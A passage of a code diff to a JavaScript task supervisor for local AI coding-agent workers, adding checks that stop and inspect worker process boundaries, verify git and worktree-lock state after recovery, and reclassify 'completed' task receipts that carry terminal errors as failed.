cleanupManagedWorkspace({ workspace: task, taskId: task.worktree_task ?? task.id, execute, }); - if (result.error) { - await appendTaskEvent(root, task.id, { - type: 'cleanup_warning', - code: result.error.code, - }).catch(() => {}); - } + await appendTaskEvent(root, task.id, cleanupEventFields(result)).catch(() => {}); return result; } @@ -788,23 +853,46 @@ function currentProcessIdentity(runtime) { return processIdentity(runtime?.pid, runtime?.process_group, runtime?.process_start_ticks); } -function runtimeLeaderAlive(runtime) { - return Number.isInteger(runtime?.pid) - && runtime.pid >= 2 - && typeof runtime.process_start_ticks === 'string' - && processStartTicks(runtime.pid) === runtime.process_start_ticks; +function expectedLeaderFromRuntime(runtime) { + const pid = Number(runtime?.pid); + if (!Number.isSafeInteger(pid) || pid < 2) return null; + if (typeof runtime.process_start_ticks !== 'string' || runtime.process_start_ticks.length === 0) return null; + return { pid, process_start_ticks: runtime.process_start_ticks }; } -async function runtimeActive(runtime) { +function rememberedIdentitiesFromRuntime(runtime) { + const remembered = []; + if (Array.isArray(runtime?.remembered_process_identities)) { + remembered.push(...runtime.remembered_process_identities); + } + const leader = expectedLeaderFromRuntime(runtime); + if (leader) remembered.push(leader); + return remembered; +} + +async function inspectRuntimeBoundary(runtime, dependencies = {}) { + if (!runtime?.process_boundary) return null; + const inspect = dependencies.inspectBoundary ?? inspectExactProcessBoundary; + try { + return await inspect(runtime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(runtime), + rememberedIdentities: rememberedIdentitiesFromRuntime(runtime), + }); + } catch { + return Object.freeze({ + state: 'unknown', + stop_allowed: false, + identity_matched: false, + code: 'worker_boundary_inspect_failed', + }); + } +} + +async function runtimeActive(runtime, dependencies = {}) { if (runtime?.process_boundary) { - if (!runtimeLeaderAlive(runtime)) return false; - try { - const handle = restoreProcessBoundary(runtime.process_boundary); - const state = await inspectProcessBoundary(handle); - return state.found && !state.empty; - } catch { - return false; - } + const inspection = await inspectRuntimeBoundary(runtime, dependencies); + return inspection?.state === 'active'; } return Boolean(currentProcessIdentity(runtime)); } @@ -813,10 +901,18 @@ function taskRuntime(runtime, task) { return runtime ?? task?.runtime_recovery ?? null; } -async function stopRuntimeBoundary(runtime) { +async function stopRuntimeBoundary(runtime, dependencies = {}) { if (!runtime?.process_boundary) return null; - const handle = restoreProcessBoundary(runtime.process_boundary); - return stopProcessBoundary(handle); + return (dependencies.stopExactBoundary ?? stopExactProcessBoundary)(runtime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(runtime), + rememberedIdentities: rememberedIdentitiesFromRuntime(runtime), + timeoutMs: dependencies.stopTimeoutMs, + }); +} + +function boundaryIsInactiveEmpty(inspection) { + return inspection?.state === 'inactive_empty' && inspection.empty !== false; } function currentProviderIdentity(task) { @@ -837,8 +933,485 @@ export async function extendTaskDeadline(root, taskId, { expected_duration_ms, r return next; } -async function reconcileInactiveTask(root, task, runtime) { - if (!ACTIVE.has(task.status) || launchReservationActive(task) || await runtimeActive(runtime)) return task; +export const LOCAL_TASK_LIFECYCLE_VERSION = 1; +const CLEANUP_FINAL = new Set(['normal', 'recovered']); +const PUBLIC_LIFECYCLE_CODE = Object.freeze({ + worker_boundary_pid_visibility_unknown: 'boundary_visibility_unknown', + worker_boundary_membership_unknown: 'boundary_visibility_unknown', + worker_boundary_inspect_failed: 'boundary_visibility_unknown', + worker_boundary_identity_mismatch: 'boundary_identity_mismatch', + worker_boundary_not_empty: 'boundary_not_empty', + worker_boundary_stop_failed: 'boundary_not_empty', + cgroup_not_empty: 'boundary_not_empty', + worktree_lock_liveness_unknown: 'lock_release_unproven', + worktree_lock_identity_mismatch: 'lock_cleanup_refused', + worktree_lock_cleanup_failed: 'lock_cleanup_refused', + worktree_lock_inspect_failed: 'lock_cleanup_refused', +}); + +function publicLifecycleCode(code) { + if (typeof code !== 'string' || code.length === 0) return 'worker_boundary_pending'; + return PUBLIC_LIFECYCLE_CODE[code] ?? (PUBLIC_STARTUP_MESSAGES[code] ? code : 'cleanup_failed'); +} + +function lifecycleBlocksFinalProjection(task) { + let status; + let cleanup; + try { + status = task?.status; + cleanup = task?.cleanup; + } catch { + return false; + } + if (!STORED_TERMINAL.includes(status)) return false; + if (!cleanup || typeof cleanup !== 'object' || Array.isArray(cleanup)) return false; + return !CLEANUP_FINAL.has(cleanup.status); +} + +function freezeLocalTaskLifecycle(values) { + return Object.freeze({ + version: LOCAL_TASK_LIFECYCLE_VERSION, + task_id: values.task_id, + stored_status: values.stored_status ?? null, + projected_status: values.projected_status ?? null, + public_state: values.public_state ?? publicState(values.projected_status ?? undefined), + final: values.final === true, + cleanup: values.cleanup, + boundary: values.boundary, + lock: values.lock, + reason: values.reason ?? null, + }); +} + +function localTaskLifecycleFrom(task, fields) { + const overlay = fields.cleanupRecord ? { ...task, cleanup: fields.cleanupRecord } : task; + const classified = classifySupervisorTerminalReceipt(overlay); + return freezeLocalTaskLifecycle({ + task_id: task.id, + stored_status: task.status, + projected_status: classified.projected_status, + public_state: classified.public_state, + final: fields.final === true, + cleanup: fields.cleanup, + boundary: fields.boundary, + lock: fields.lock, + reason: fields.reason ?? classified.reason ?? null, + }); +} + +async function persistLifecycleEvidence(root, task, cleanup, extra = {}) { + const next = await updateTask(root, task.id, { cleanup }); + await appendTaskEvent(root, task.id, { + type: 'cleanup', + status: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + code: cleanup.code ?? null, + ...(extra.forced ? { forced: true } : {}), + ...(extra.exit_code_class ? { exit_code_class: extra.exit_code_class } : {}), + }).catch(() => {}); + if (extra.runtime) { + await writeRuntimeRecord(root, task.id, { + ...extra.runtime, + lifecycle_proof: { + status: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + code: cleanup.code ?? null, + recovered: extra.recovered === true, + git: extra.git ?? null, + }, + }).catch(() => {}); + } + return next; +} + +function gitIdentity(outputs) { + return Object.freeze({ + head: String(outputs.head ?? '').trim(), + tree: String(outputs.tree ?? '').trim(), + branch: String(outputs.branch ?? '').trim(), + clean: String(outputs.porcelain ?? '').trim() === '', + }); +} + +async function snapshotTaskGit(task, dependencies = {}) { + const cwd = task?.cwd; + if (typeof cwd !== 'string' || !path.isAbsolute(cwd)) return null; + if (typeof dependencies.snapshotGit === 'function') return dependencies.snapshotGit(task); + const execute = dependencies.execute ?? execFile; + try { + const [head, tree, branch, status] = await Promise.all([ + execute('git', ['-C', cwd, 'rev-parse', 'HEAD'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'rev-parse', 'HEAD^{tree}'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'branch', '--show-current'], { encoding: 'utf8' }), + execute('git', ['-C', cwd, 'status', '--porcelain=v1'], { encoding: 'utf8' }), + ]); + return gitIdentity({ + head: head.stdout, + tree: tree.stdout, + branch: branch.stdout, + porcelain: status.stdout, + }); + } catch { + return null; + } +} + +function sameGitIdentity(before, after) { + return Boolean(before && after + && before.head === after.head + && before.tree === after.tree + && before.branch === after.branch + && before.clean === after.clean); +} + +async function snapshotUnrelatedUnits(receipt, dependencies = {}) { + if (typeof dependencies.snapshotUnits === 'function') return dependencies.snapshotUnits(receipt); + const exec = dependencies.adapter?.execFile ?? (dependencies.execute + ? (command, args, options) => dependencies.execute(command, args, options) + : null); + if (typeof exec !== 'function') return null; + try { + const listed = await exec('/usr/bin/systemctl', [ + '--user', 'list-units', '--all', '--no-legend', '--plain', '--no-pager', 'codex-co-engineer-*.service', + ], { encoding: 'utf8', timeout: 3_000, maxBuffer: 64 * 1024 }); + const units = Object.create(null); + for (const line of String(listed?.stdout ?? '').split(/\r?\n/u)) { + const unit = line.trim().split(/\s+/u)[0]; + if (!unit || unit === receipt.unit || !/^codex-co-engineer-[a-f0-9]{32}\.service$/u.test(unit)) continue; + const shown = await exec('/usr/bin/systemctl', [ + '--user', 'show', unit, '--no-pager', '--property=Id', '--property=ActiveState', + '--property=InvocationID', '--property=MainPID', + ], { encoding: 'utf8', timeout: 3_000, maxBuffer: 16 * 1024 }); + const properties = Object.create(null); + for (const row of String(shown?.stdout ?? '').split(/\r?\n/u)) { + const separator = row.indexOf('='); + if (separator > 0) properties[row.slice(0, separator)] = row.slice(separator + 1); + } + units[unit] = Object.freeze({ + ActiveState: properties.ActiveState ?? null, + InvocationID: properties.InvocationID ?? null, + MainPID: properties.MainPID ?? null, + }); + } + return Object.freeze(units); + } catch { + return null; + } +} + +function sameUnrelatedUnits(before, after) { + if (!before || !after) return false; + const keys = new Set([...Object.keys(before), ...Object.keys(after)]); + for (const key of keys) { + const left = before[key]; + const right = after[key]; + if (!left || !right) return false; + if (left.ActiveState !== right.ActiveState || left.InvocationID !== right.InvocationID || left.MainPID !== right.MainPID) { + return false; + } + } + return true; +} + +function lockIdentityMatches(lock, task, runtime) { + const taskId = task.worktree_task ?? task.id; + if (!lock || typeof lock !== 'object' || Array.isArray(lock)) return false; + if (typeof lock.lock_id !== 'string' || lock.lock_id.length === 0) return false; + if (lock.task != null && lock.task !== taskId) return false; + if (lock.schema != null && lock.schema !== 'worktree-bootstrap/v1') return false; + const worktree = task.cwd ?? task.worktree_path; + if (lock.worktree_path && worktree && path.resolve(String(lock.worktree_path)) !== path.resolve(worktree)) return false; + if (lock.branch && task.branch && lock.branch !== task.branch) return false; + if (lock.start_sha && task.start_sha && String(lock.start_sha).toLowerCase() !== String(task.start_sha).toLowerCase()) return false; + const wrapperPid = lock.wrapper_pid ?? lock.writer_pid; + if (runtime?.pid != null && wrapperPid != null && Number(wrapperPid) !== Number(runtime.pid)) return false; + if (runtime?.process_start_ticks && lock.process_start_ticks + && String(lock.process_start_ticks) !== String(runtime.process_start_ticks)) return false; + if (runtime?.command && Array.isArray(lock.command) && lock.command[0] && lock.command[0] !== runtime.command) return false; + return true; +} + +async function inspectManagedLockState(task, runtime, dependencies = {}) { + if (task.workspace_kind !== 'managed-worktree') { + return { lock: 'not_applicable', cleaned: false }; + } + const reference = workspaceReference(task, task.worktree_task ?? task.id); + if (!reference) return { lock: 'unknown', code: 'worktree_lock_inspect_failed', cleaned: false }; + const execute = dependencies.execute ?? execFile; + try { + const { stdout } = await execute('worktree-bootstrap', [ + 'lock', 'inspect', reference.task, '--repo', reference.worktree_path, + ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); + const lock = parseJsonSuffix(stdout); + if (!lock || typeof lock !== 'object' || Array.isArray(lock)) { + return { lock: 'unknown', code: 'worktree_lock_inspect_failed', cleaned: false }; + } + if (lock.state === 'unlocked') return { lock: 'unlocked', cleaned: false, receipt: lock }; + if (!lockIdentityMatches(lock, task, runtime)) { + return { lock: 'unknown', code: 'worktree_lock_identity_mismatch', cleaned: false, receipt: lock }; + } + return { lock: 'active', cleaned: false, receipt: lock }; + } catch { + return { lock: 'unknown', code: 'worktree_lock_inspect_failed', cleaned: false }; + } +} + +async function cleanManagedLockAfterBoundary(task, runtime, dependencies = {}) { + const inspected = await inspectManagedLockState(task, runtime, dependencies); + if (inspected.lock === 'not_applicable' || inspected.lock === 'unlocked') return inspected; + if (inspected.lock !== 'active' || !inspected.receipt?.lock_id) return inspected; + const reference = workspaceReference(task, task.worktree_task ?? task.id); + const execute = dependencies.execute ?? execFile; + try { + await execute('worktree-bootstrap', [ + 'lock', 'clean', reference.task, + '--repo', reference.worktree_path, + '--policy', 'dead-local', + '--lock-id', inspected.receipt.lock_id, + ], { encoding: 'utf8', maxBuffer: 1024 * 1024 }); + return { lock: 'cleaned', cleaned: true, receipt: inspected.receipt }; + } catch (error) { + const exitCode = Number.isInteger(error?.status) ? error.status : (Number.isInteger(error?.code) ? error.code : undefined); + return { + lock: 'unknown', + cleaned: false, + code: 'worktree_lock_cleanup_failed', + exit_code: exitCode, + receipt: inspected.receipt, + }; + } +} + +function cleanupRecord({ status, boundary, lock, code, recoveryAttempted }) { + return { + status, + boundary, + lock, + ...(code ? { code } : {}), + ...(recoveryAttempted ? { recovery_attempted: true } : {}), + }; +} + +export async function settleLocalTaskLifecycle(root, task, runtime, dependencies = {}) { + const current = task && typeof task === 'object' && !Array.isArray(task) && typeof task.id === 'string' + ? task + : (await readTask(root, requireTaskId(task))).task; + const boundRuntime = taskRuntime(runtime, current); + if (!STORED_TERMINAL.includes(current.status)) { + const inspection = boundRuntime?.process_boundary + ? await inspectRuntimeBoundary(boundRuntime, dependencies) + : null; + return localTaskLifecycleFrom(current, { + final: false, + cleanup: 'pending', + boundary: inspection?.state ?? 'not_applicable', + lock: current.workspace_kind === 'managed-worktree' ? 'pending' : 'not_applicable', + reason: null, + }); + } + if (!boundRuntime?.process_boundary) { + return localTaskLifecycleFrom(current, { + final: true, + cleanup: current.cleanup?.status ?? 'normal', + boundary: 'not_applicable', + lock: current.workspace_kind === 'managed-worktree' ? (current.cleanup?.lock ?? 'not_applicable') : 'not_applicable', + }); + } + if (CLEANUP_FINAL.has(current.cleanup?.status)) { + return localTaskLifecycleFrom(current, { + final: true, + cleanup: current.cleanup.status, + boundary: current.cleanup.boundary ?? 'inactive_empty', + lock: current.cleanup.lock ?? 'unlocked', + reason: current.cleanup.code ?? null, + }); + } + + const sleep = dependencies.sleep ?? wait; + const drainMs = Number.isFinite(dependencies.drainGraceMs) + ? dependencies.drainGraceMs + : PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS.natural_boundary_and_lock_drain; + if (drainMs > 0) await sleep(drainMs); + + let inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + let recovered = false; + let gitBefore = null; + let unrelatedBefore = null; + const recoveryAttempted = current.cleanup?.recovery_attempted === true; + if (inspection?.state === 'active' && inspection.stop_allowed && !recoveryAttempted) { + gitBefore = await snapshotTaskGit(current, dependencies); + unrelatedBefore = await snapshotUnrelatedUnits(boundRuntime.process_boundary, dependencies); + if (!gitBefore || !unrelatedBefore) { + inspection = { + ...inspection, + state: 'unknown', + stop_allowed: false, + code: 'worker_boundary_inspect_failed', + }; + } else { + try { + await (dependencies.stopExactBoundary ?? stopExactProcessBoundary)(boundRuntime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(boundRuntime), + rememberedIdentities: rememberedIdentitiesFromRuntime(boundRuntime), + timeoutMs: dependencies.stopTimeoutMs, + }); + recovered = true; + inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + } catch (error) { + const code = error?.code === 'cgroup_not_empty' ? 'cgroup_not_empty' : (error?.code ?? 'worker_boundary_stop_failed'); + const cleanup = cleanupRecord({ + status: 'failed', + boundary: code === 'cgroup_not_empty' ? 'active' : 'unknown', + lock: 'active', + code, + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + forced: error?.code === 'cgroup_not_empty', + }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code), + cleanupRecord: cleanup, + }); + } + } + } + + if (inspection?.state !== 'inactive_empty') { + const code = inspection?.code ?? (inspection?.state === 'active' ? 'worker_boundary_pending' : 'worker_boundary_inspect_failed'); + const cleanup = cleanupRecord({ + status: inspection?.state === 'active' ? 'pending' : (code.includes('mismatch') ? 'unknown' : 'unknown'), + boundary: inspection?.state === 'active' ? 'active' : 'unknown', + lock: 'pending', + code, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code === 'worker_boundary_pending' ? 'worker_boundary_pending' : code), + cleanupRecord: cleanup, + }); + } + + if (recovered) { + const gitAfter = await snapshotTaskGit(current, dependencies); + const unrelatedAfter = await snapshotUnrelatedUnits(boundRuntime.process_boundary, dependencies); + if (!sameGitIdentity(gitBefore, gitAfter)) { + const cleanup = cleanupRecord({ + status: 'failed', + boundary: 'inactive_empty', + lock: 'unknown', + code: 'worktree_git_changed_during_recovery', + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime, git: gitAfter }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: 'worktree_git_changed_during_recovery', + cleanupRecord: cleanup, + }); + } + if (!sameUnrelatedUnits(unrelatedBefore, unrelatedAfter)) { + const cleanup = cleanupRecord({ + status: 'failed', + boundary: 'inactive_empty', + lock: 'unknown', + code: 'worker_boundary_identity_mismatch', + recoveryAttempted: true, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { runtime: boundRuntime, git: gitAfter }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: 'boundary_identity_mismatch', + cleanupRecord: cleanup, + }); + } + } + + let lockResult = await inspectManagedLockState(current, boundRuntime, dependencies); + if (lockResult.lock === 'active') { + lockResult = await cleanManagedLockAfterBoundary(current, boundRuntime, dependencies); + } + if (lockResult.lock === 'unknown' || lockResult.lock === 'active') { + const code = lockResult.code ?? 'worktree_lock_liveness_unknown'; + const cleanup = cleanupRecord({ + status: 'unknown', + boundary: 'inactive_empty', + lock: lockResult.lock, + code, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + recovered, + git: gitBefore, + exit_code_class: Number.isInteger(lockResult.exit_code) ? `exit_${lockResult.exit_code}` : undefined, + }); + return localTaskLifecycleFrom(next, { + final: false, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + reason: publicLifecycleCode(code), + cleanupRecord: cleanup, + }); + } + + const cleanup = cleanupRecord({ + status: recovered ? 'recovered' : 'normal', + boundary: 'inactive_empty', + lock: lockResult.lock, + recoveryAttempted: recovered || recoveryAttempted, + }); + const next = await persistLifecycleEvidence(root, current, cleanup, { + runtime: boundRuntime, + recovered, + git: gitBefore, + }); + return localTaskLifecycleFrom(next, { + final: true, + cleanup: cleanup.status, + boundary: cleanup.boundary, + lock: cleanup.lock, + cleanupRecord: cleanup, + }); +} + +export async function cleanupLocalTaskLifecycle(root, task, runtime, dependencies = {}) { + return settleLocalTaskLifecycle(root, task, runtime, dependencies); +} + +async function reconcileInactiveTask(root, task, runtime, dependencies = {}) { + const boundRuntime = taskRuntime(runtime, task); + if (STORED_TERMINAL.includes(task.status) && boundRuntime?.process_boundary) { + await settleLocalTaskLifecycle(root, task, boundRuntime, dependencies); + return (await readTask(root, task.id)).task; + } + if (!ACTIVE.has(task.status) || launchReservationActive(task)) return task; + if (boundRuntime?.process_boundary) { + const inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + if (inspection?.state === 'active' || inspection?.state === 'unknown') return task; + } else if (await runtimeActive(boundRuntime, dependencies)) { + return task; + } if (deadlineReached(task)) { const timedOut = await updateTask(root, task.id, { status: 'timeout', @@ -851,7 +1424,10 @@ async function reconcileInactiveTask(root, task, runtime) { finished_at: new Date().toISOString(), }); await appendTaskEvent(root, task.id, { type: 'terminal', status: 'timeout', reason: 'deadline_reached' }).catch(() => {}); - await recordManagedCleanup(root, timedOut, undefined); + await recordManagedCleanup(root, timedOut, dependencies.execute, { + requireInactiveEmpty: Boolean(boundRuntime?.process_boundary), + boundaryState: boundRuntime?.process_boundary ? 'inactive_empty' : undefined, + }); return timedOut; } @@ -868,10 +1444,15 @@ async function reconcileInactiveTask(root, task, runtime) { } let boundaryStopped = false; - if (runtime?.process_boundary) { + if (boundRuntime?.process_boundary) { try { - await stopRuntimeBoundary(runtime); - boundaryStopped = true; + await (dependencies.stopBoundary ?? stopExactProcessBoundary)(boundRuntime.process_boundary, { + adapter: dependencies.adapter, + expectedLeader: expectedLeaderFromRuntime(boundRuntime), + rememberedIdentities: rememberedIdentitiesFromRuntime(boundRuntime), + }); + const inspection = await inspectRuntimeBoundary(boundRuntime, dependencies); + boundaryStopped = boundaryIsInactiveEmpty(inspection); } catch { // Keep the task reconcilable when exact cgroup cleanup cannot be proven. } @@ -886,7 +1467,10 @@ async function reconcileInactiveTask(root, task, runtime) { : 'Recorded worker is not running; inspect or cancel this task without replaying it.', }, }); - await recordManagedCleanup(root, reconciled, undefined); + await recordManagedCleanup(root, reconciled, dependencies.execute, { + requireInactiveEmpty: Boolean(boundRuntime?.process_boundary), + boundaryState: boundaryStopped ? 'inactive_empty' : (boundRuntime?.process_boundary ? 'unknown' : undefined), + }); return reconciled; } @@ -903,10 +1487,238 @@ function processGroupAlive(processGroup) { const wait = (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds)); -async function probeCommand(command, args, authenticatedPattern) { +export const SUPERVISOR_FALSE_SUCCESS_REASON = Object.freeze({ + code: 'completed_with_terminal_error', + message: 'Completed receipt carried a terminal error.', +}); + +const WHOLE_RESULT_TERMINAL_TEXT = /^(?:[A-Za-z][\w.]*Error\s+)?(?:\[[A-Za-z0-9._-]{1,64}\]\s+)?PING timed out\.?$/u; +const TERMINAL_TRANSPORT_PROVIDER_CODES = new Set([ + 'unavailable', + 'retriable', + 'retriable_error', + 'ping_timeout', + 'ping_timed_out', + 'transport_error', + 'provider_error', + 'provider_unavailable', + 'connection_lost', + 'etimedout', + 'econnreset', + 'econnrefused', +]); + +function freezeTerminalClassification({ + stored_status, + projected_status, + public_state, + corrected, + reason = null, +}) { + return Object.freeze({ + stored_status, + projected_status, + public_state, + corrected, + reason, + error: reason ? Object.freeze({ ...SUPERVISOR_FALSE_SUCCESS_REASON }) : null, + }); +} + +function isWholeResultTerminalText(value) { + if (typeof value !== 'string') return false; + const text = value.trim(); + if (text.length === 0 || text.length > 256) return false; + return WHOLE_RESULT_TERMINAL_TEXT.test(text); +} + +function explicitTerminalErrorEnvelope(error) { + if (error == null) return false; + if (typeof error === 'string') { + const text = error.trim(); + return text.length > 0 && text !== 'ok'; + } + if (typeof error !== 'object' || Array.isArray(error)) return false; + let code; + let name; + let message; + try { + code = error.code; + name = error.name; + message = error.message; + } catch { + return true; + } + if (typeof code === 'string' && code.length > 0 && code !== 'ok') return true; + if (typeof name === 'string' && /error$/iu.test(name.trim())) return true; + if (typeof message === 'string' && isWholeResultTerminalText(message)) return true; + return false; +} + +function wholeResultTerminalError(result) { + if (result == null) return false; + if (typeof result === 'string') return isWholeResultTerminalText(result); + if (typeof result !== 'object' || Array.isArray(result)) return false; + let code; + let name; + let message; + let nested; + let text; + try { + code = result.code; + name = result.name; + message = result.message; + nested = result.error; + text = result.text ?? result.result ?? result.output ?? result.value; + } catch { + return true; + } + if (typeof name === 'string' && /error$/iu.test(name.trim())) return true; + if (typeof code === 'string' && TERMINAL_TRANSPORT_PROVIDER_CODES.has(code.trim().toLowerCase())) return true; + if (typeof message === 'string' && isWholeResultTerminalText(message)) return true; + if (explicitTerminalErrorEnvelope(nested)) { + if (text == null || text === '') return true; + if (typeof text === 'string' && isWholeResultTerminalText(text)) return true; + return false; + } + return typeof text === 'string' && isWholeResultTerminalText(text); +} + +/** + * Deterministic terminal-receipt classifier at the supervisor projection + * seam. Callers map `projected_status` through `publicState` and must not + * write the overlay back onto `codex-co-engineer.task.v1` stored bytes. + */ +export function classifySupervisorTerminalReceipt(task) { + if (!task || typeof task !== 'object' || Array.isArray(task)) { + return freezeTerminalClassification({ + stored_status: null, + projected_status: null, + public_state: publicState(undefined), + corrected: false, + }); + } + let storedStatus = null; + try { + storedStatus = typeof task.status === 'string' ? task.status : null; + } catch { + return freezeTerminalClassification({ + stored_status: null, + projected_status: null, + public_state: publicState(undefined), + corrected: false, + }); + } + if (storedStatus === 'transport_lost') { + return freezeTerminalClassification({ + stored_status: 'transport_lost', + projected_status: 'transport_lost', + public_state: publicState('transport_lost'), + corrected: false, + }); + } + if (lifecycleBlocksFinalProjection(task)) { + const code = publicLifecycleCode(task.cleanup?.code ?? 'worker_boundary_pending'); + return Object.freeze({ + stored_status: storedStatus, + projected_status: 'transport_lost', + public_state: publicState('transport_lost'), + corrected: false, + reason: code, + error: Object.freeze({ + code, + message: PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES.worker_boundary_pending, + }), + }); + } + const wouldSucceed = storedStatus === 'completed' || storedStatus === 'succeeded'; + if (wouldSucceed) { + let envelope = false; + let whole = false; + try { + envelope = explicitTerminalErrorEnvelope(task.error); + } catch { + envelope = true; + } + try { + whole = wholeResultTerminalError(task.result); + } catch { + whole = true; + } + if (envelope || whole) { + return freezeTerminalClassification({ + stored_status: storedStatus, + projected_status: 'failed', + public_state: publicState('failed'), + corrected: true, + reason: SUPERVISOR_FALSE_SUCCESS_REASON.code, + }); + } + } + return freezeTerminalClassification({ + stored_status: storedStatus, + projected_status: storedStatus, + public_state: publicState(storedStatus ?? undefined), + corrected: false, + }); +} + +export function projectSupervisorPublicState(task) { + return classifySupervisorTerminalReceipt(task).public_state; +} + +function suppressUnfinalTerminalProjection(task, classified) { + const code = publicLifecycleCode(classified.reason ?? task?.cleanup?.code ?? 'worker_boundary_pending'); + const message = PUBLIC_STARTUP_MESSAGES[code] ?? PUBLIC_STARTUP_MESSAGES.worker_boundary_pending; + try { + const overlay = { + ...task, + status: 'transport_lost', + error: Object.freeze({ code, message }), + }; + delete overlay.result; + delete overlay.handoff; + delete overlay.stop_reason; + delete overlay.finished_at; + return overlay; + } catch { + return { + status: 'transport_lost', + error: Object.freeze({ code, message }), + }; + } +} + +export function projectSupervisorTerminalReceipt(task) { + const classified = classifySupervisorTerminalReceipt(task); + if (lifecycleBlocksFinalProjection(task)) { + return suppressUnfinalTerminalProjection(task, classified); + } + if (!classified.corrected) return task; + try { + return { + ...task, + status: classified.projected_status, + error: classified.error, + }; + } catch { + return { + status: classified.projected_status, + error: classified.error, + }; + } +} + +export function projectSupervisorTaskRecords(tasks) { + if (!Array.isArray(tasks)) return []; + return tasks.map((task) => projectSupervisorTerminalReceipt(task)); +} + +async function probeCommand(command, args, authenticatedPattern, env) { try { const { stdout, stderr } = await execFile(command, args, { cwd: '/tmp', encoding: 'utf8', timeout: 5_000, maxBuffer: 256 * 1024, + env, }); const output = `${stdout}${stderr}`; if (/not signed in|not authenticated|log ?in required|unauthori[sz]ed/iu.test(output)) { @@ -919,17 +1731,20 @@ async function probeCommand(command, args, authenticatedPattern) { } async function providerReadiness(env = process.env) { - const grokCommand = env.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; - const cursorCommand = env.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; - const dshCommand = env.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; - const acpxCommand = env.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; - const dshAcpCommand = env.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; + const grokEnv = projectProviderEnvironment({ provider: 'grok', source: env, operation: 'readiness' }); + const cursorLocalEnv = projectProviderEnvironment({ provider: 'cursor-local', source: env, operation: 'readiness' }); + const dshProbeEnv = projectProviderEnvironment({ provider: 'dsh', source: env, dshModel: DEFAULT_DSH_MODEL, operation: 'readiness_probe' }); + const grokCommand = grokEnv.CODEX_CO_ENGINEER_GROK_COMMAND ?? 'grok'; + const cursorCommand = cursorLocalEnv.CODEX_CO_ENGINEER_CURSOR_COMMAND ?? 'cursor-agent'; + const dshCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_COMMAND ?? 'dsh'; + const acpxCommand = dshProbeEnv.CODEX_CO_ENGINEER_ACPX_COMMAND ?? 'acpx'; + const dshAcpCommand = dshProbeEnv.CODEX_CO_ENGINEER_DSH_ACP_COMMAND ?? 'dsh-acp-demo'; const [grok, cursorLocal, dshCli, acpx, dshAcp, dshMuseCredential, dshOxCredential, cursorCloud] = await Promise.all([ - probeCommand(grokCommand, ['models']), - probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu), - probeCommand(dshCommand, ['--version']), - probeCommand(acpxCommand, ['--version']), - probeCommand('which', [dshAcpCommand]), + probeCommand(grokCommand, ['models'], undefined, grokEnv), + probeCommand(cursorCommand, ['status'], /logged in|authenticated|access token/iu, cursorLocalEnv), + probeCommand(dshCommand, ['--version'], undefined, dshProbeEnv), + probeCommand(acpxCommand, ['--version'], undefined, dshProbeEnv), + probeCommand('which', [dshAcpCommand], undefined, dshProbeEnv), workerEnvironment('dsh', env, DEFAULT_DSH_MODEL).then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), workerEnvironment('dsh', env, 'stealth/ox-alpha').then(() => ({ ready: true })).catch((error) => ({ ready: false, reason: error?.code ?? 'credentials_missing' })), Promise.all([loadCursorApiKey(env), loadCursorSdk()]) @@ -956,7 +1771,14 @@ async function providerReadiness(env = process.env) { export async function cancelTask(root, taskId, dependencies = {}) { const { task } = await readTask(root, taskId); - if (!ACTIVE.has(task.status)) return task; + if (!ACTIVE.has(task.status)) { + const runtime = taskRuntime(await readRuntimeRecord(root, taskId), task); + if (runtime?.process_boundary) { + await settleLocalTaskLifecycle(root, task, runtime, dependencies); + return projectSupervisorTerminalReceipt((await readTask(root, taskId)).task); + } + return projectSupervisorTerminalReceipt(task); + } if (task.provider === 'cursor-cloud' && task.provider_agent_id) { const runtime = await readRuntimeRecord(root, taskId); await updateTask(root, taskId, { status: 'cancelling' }); @@ -971,7 +1793,7 @@ export async function cancelTask(root, taskId, dependencies = {}) { if (identity) { try { process.kill(-identity.process_group, 'SIGTERM'); } catch (error) { if (error?.code !== 'ESRCH') throw error; } } - return terminal; + return projectSupervisorTerminalReceipt(terminal); } const runtime = taskRuntime(await readRuntimeRecord(root, 